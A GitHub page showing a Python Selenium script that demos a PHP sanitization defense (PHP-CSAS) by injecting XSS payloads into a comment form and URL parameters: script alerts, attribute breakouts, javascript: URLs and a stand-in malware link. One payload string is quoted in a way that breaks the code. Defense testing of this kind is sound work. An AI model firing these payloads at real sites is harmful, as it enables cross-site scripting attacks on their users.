-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathxss_demo_no_close.py
199 lines (168 loc) · 7.53 KB
/
xss_demo_no_close.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#!/usr/bin/env python
import argparse
import os
import random
import subprocess
import textwrap
import time
from argparse import RawTextHelpFormatter
import anyconfig
from selenium import webdriver
from selenium.webdriver.common.alert import Alert
from selenium.common.exceptions import NoAlertPresentException
CONTEXTS = [
'HTML_PCDATA',
'HTML_QUOTED',
'HTML_UNQUOTED',
'URL_START',
'URL_QUERY',
'URL_GENERAL',
'JS_STRING',
]
class Cli:
def __init__(self):
self.__parser = self.__setup_argparser()
self.args = self.__parser.parse_args()
def __setup_argparser(self):
parser = argparse.ArgumentParser(prog='php_csas_demo',
formatter_class=RawTextHelpFormatter,
description=textwrap.dedent('''\
___ __ _____ ____________ ____
/ _ \/ // / _ \____/ ___/ __/ _ | / __/
/ ___/ _ / ___/___/ /___\ \/ __ |_\ \
/_/ /_//_/_/ \___/___/_/ |_/___/
------------------------------------------
PHP-CSAS DEMO
Version: 0.1.0
------------------------------------------
'''),
epilog=textwrap.dedent('''\
Author: Jared M. Smith
Contact: jared@jaredsmith.io
''')
)
parser.add_argument('--url', required=True, dest='url',
help=textwrap.dedent('''\
The URL of the address to test against. Don't put an ending '/' on it.
'''))
parser.add_argument('--csas', required=False, action='store_true',
dest='csas', default=True,
help=textwrap.dedent('''\
Whether CSAS is enabled on site.'''))
parser.add_argument('--browser', required=False,
dest='browser', default='firefox',
choices=('firefox', 'chrome', 'ie', 'opera'),
help=textwrap.dedent('''\
Which browser to test with. Options are:
"firefox", "chrome", "ie", or "opera".'''))
parser.add_argument('--quiet', required=False, action='store_false',
dest='log', default=False,
help=textwrap.dedent('''\
Whether to silence logging.'''))
parser.add_argument('--logfile', required=False,
dest='logfile', default='/tmp/php_csas_demo_log.out', type=str,
help=textwrap.dedent('''\
If logging is enabled, log to
this filename.'''))
return parser
def make_driver(browser):
if browser == 'firefox':
return webdriver.Firefox()
elif browser == 'chrome':
return webdriver.Chrome()
elif browser == 'ie':
return webdriver.Ie()
elif browser == 'opera':
return webdriver.Opera()
def get_config(config_file):
try:
return anyconfig.get(config_file)
except Exception:
raise ValueError('Invalid configuration file type. Try JSON or YAML.')
def generate_payload(context):
if context == 'HTML_PCDATA':
options = [
# "<b> bolded all day every day</b>",
# "<i> italics rule</i>",
"<h1>HACKED</h1>",
"<script> alert('YOU HAVE BEEN HACKED'); </script>",
#'<input type="file" accept="video/*;capture=camcorder">',
# '<input type="file" accept="audio/*;capture=microphone">',
# '<img src="http://forklog.net/wp-content/uploads/2015/05/12035-hacked_article.jpg" />',
# '<iframe width="420" height="315" src="https://www.youtube.com/embed/7t96m2ynKw0&autoplay=1" frameborder="0" allowfullscreen></iframe>'
]
return random.choice(options)
elif context == 'HTML_QUOTED':
return "xss\" onfocus=\"alert('HACKED AGAIN');"
elif context == 'HTML_UNQUOTED':
return "xss onfocus=alert('XSSSSSSS');"
elif context == 'URL_START':
return 'ftp://malware.net/h4xx0r_malware.exe'
elif context == 'URL_GENERAL':
return 'javascript:alert('tricky encoding!');'
elif context == 'URL_QUERY':
return 'javascript:alert(1337);'
elif context == 'JS_STRING':
options = [
# '<script>alert(document.cookie + " YOU\'VE BEEN HACKED")</script>',
'\'; alert(\'Hacked!\'); //',
]
return random.choice(options)
def generate_all_payloads(contexts):
for context in contexts:
yield generate_payload(context)
def send_key_sequence(element, sequence):
for k in sequence:
element.send_keys(k)
def handle_alert(driver):
# Maybe this should be Alert(driver).accept()
try:
Alert(driver).dismiss()
except NoAlertPresentException:
pass
def main():
global CONTEXTS
cli = Cli()
driver = make_driver(cli.args.browser)
driver.maximize_window()
driver.get(cli.args.url)
handle_alert(driver)
for i, payload in enumerate(generate_all_payloads(CONTEXTS)):
subprocess.call(['vagrant ssh -c \'mysql -uroot -pcsas -e "USE csas; TRUNCATE TABLE post;"\''], shell=True)
submit_form = True
handle_alert(driver)
comment_form = driver.find_element_by_id('commentForm')
comment_name = driver.find_element_by_name('commentName')
comment_message = driver.find_element_by_name('message')
comment_link = driver.find_element_by_name('link')
if i in [0, 6]:
send_key_sequence(comment_message, payload)
elif i == 1:
submit_form = False
send_key_sequence(comment_message, "Pre-filling the name field with a GET request in the URL parameters...")
driver.get(cli.args.url + '/index.php?name=' + payload)
time.sleep(1)
comment_name = driver.find_element_by_name('commentName')
comment_name.click()
handle_alert(driver)
elif i == 2:
submit_form = False
send_key_sequence(comment_name, "Pre-filling the message field with a GET request in the URL parameters...")
driver.get(cli.args.url + '/index.php?msg=' + payload)
time.sleep(1)
comment_message = driver.find_element_by_name('message')
comment_message.click()
handle_alert(driver)
elif i in [3, 4, 5]:
send_key_sequence(comment_message, 'Check out this link!')
send_key_sequence(comment_link, payload)
else:
send_key_sequence(comment_message, payload)
send_key_sequence(comment_link, payload)
if submit_form:
comment_form.submit()
time.sleep(2)
handle_alert(driver)
# driver.close()
if __name__ == '__main__':
main()